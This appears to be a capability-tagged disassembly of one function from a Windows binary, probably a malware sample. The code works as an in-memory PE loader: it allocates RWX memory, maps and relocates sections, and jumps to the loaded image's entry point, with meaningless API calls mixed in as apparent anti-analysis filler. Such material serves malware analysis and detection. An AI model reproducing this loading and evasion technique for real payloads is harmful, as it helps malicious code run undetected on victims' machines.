Function at 0x41759e
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call
Get disk information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41b488
mov dword [ebx], 0
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], ecx
call edi
mov dword [ebp - 0x114], eax
mov eax, dword [ebx + 0x20]
mov edx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], dx
je 0x417653
push 0x104
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.0040dca2
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x417639
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
pop edi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c8ad
mov esp, ebp
pop ebp
ret 8
add eax, dword [eax + 0x3c]
push esi
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
je 0x4176be
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
push 0
push 0
push 0x1f0001
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebx], 0
jmp 0x4179b4
mov edx, dword [eax + 0x50]
mov eax, dword [eax + 0x34]
push edx
push eax
mov edx, 0x40
mov ecx, 0x1000
lea edi, [ebp - 0x110]
call fcn.00407753
mov ecx, dword [ebp - 0x110]
mov dword [ebx + 0xc], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
jne 0x4176f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x417720
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x417720
push 0
push 0xd8
push 0xca
push edi
call dword [sym.imp.GDI32.dll_MoveToEx]
push edi
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp dword [ebx + 0xc], 0
jne 0x41776e
call fcn.0040a467
mov edx, dword [ebx + 8]
mov eax, dword [edx + 0x50]
push 0x40
push 0x2000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
test eax, eax
jne 0x41776e
push eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x1b
call esi
push 0x1d
call esi
call dword [sym.imp.USER32.dll_GetCursor]
mov dword [ebx], 0
jmp 0x4179b4
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
push 0
mov edi, eax
lea esi, [ebp - 0x110]
call fcn.00408f71
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], ecx
mov eax, dword [ebx + 0x24]
xor ecx, ecx
cmp eax, ecx
je 0x4177af
mov edx, dword [ebx + 0xc]
mov dword [eax], edx
mov eax, dword [ebx]
mov dword [eax + 0xc], ecx
mov edx, dword [ebx]
mov dword [edx + 8], ecx
mov eax, dword [ebx]
mov dword [eax + 0x10], ecx
mov ecx, dword [ebx + 8]
mov esi, dword [ecx + 0x50]
mov edi, dword [ebx + 0xc]
call fcn.0040a467
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx + 8]
mov ecx, dword [ebx + 0xc]
push 0x40
mov dword [ebx + 0x10], eax
mov eax, dword [edx + 0x54]
push 0x1000
push eax
push ecx
lea esi, [ebp - 0x110]
call fcn.00409e78
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], ecx
mov esi, dword [eax + 0x3c]
add esi, dword [edx + 0x54]
push esi
push eax
push ecx
call fcn.00402117
mov eax, dword [ebx + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x10]
mov edx, dword [ebx]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ebx + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x20]
push eax
push ecx
push edx
call fcn.0040c759
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x41785b
push eax
mov eax, dword [ebx]
call fcn.0041a0b9
add esp, 4
mov ecx, dword [ebx]
call fcn.0040fda5
test eax, eax
je 0x417999
mov edx, dword [ebp - 0x114]
push 0x41b4b4
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebx]
mov esi, dword [eax]
mov dword [ebp - 0x118], eax
movzx eax, word [esi + 0x14]
xor ecx, ecx
lea eax, [eax + esi + 0x3c]
mov dword [ebp - 0x110], 0
cmp cx, word [esi + 6]
jae 0x417976
mov dword [ebp - 0x114], eax
mov edx, dword [ebp - 0x114]
mov eax, dword [edx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov edi, eax
and ecx, 1
and edx, 1
shr edi, 0x1f
test eax, 0x2000000
je 0x4178f4
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax - 0x14]
mov edx, dword [eax - 0x1c]
push 0x4000
push ecx
push edx
lea edi, [ebp - 0x124]
call fcn.00408639
jmp 0x41794e
lea ecx, [edx + ecx*2]
lea edx, [edi + ecx*2]
mov edx, dword [edx*4 + 0x4224cc]
test eax, 0x4000000
je 0x41790e
or edx, 0x200
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx - 0x14]
test ecx, ecx
jne 0x41792f
test al, 0x40
je 0x417924
mov ecx, dword [esi + 0x20]
jmp 0x41792b
test al, al
jns 0x41794e
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x41794e
mov eax, dword [ebp - 0x11c]
test eax, eax
je 0x41794e
lea esi, [ebp - 0x120]
push esi
push edx
mov edx, dword [ebp - 0x114]
push ecx
mov ecx, dword [edx - 0x1c]
push ecx
call eax
mov edx, dword [ebp - 0x118]
mov esi, dword [edx]
mov eax, dword [ebp - 0x110]
movzx ecx, word [esi + 6]
add dword [ebp - 0x114], 0x28
inc eax
mov dword [ebp - 0x110], eax
cmp eax, ecx
jl 0x4178b0
mov edx, dword [ebx]
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x4179b4
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
je 0x417999
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x4179ab
push 0
mov dword [ebx], 0
call fcn.004114c4
add esp, 4
jmp 0x4179b4
mov ecx, dword [ebx]
mov dword [ecx + 0x10], 1
mov ecx, dword [ebp - 4]
pop esi
pop edi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040c8ad
mov esp, ebp
pop ebp
ret 8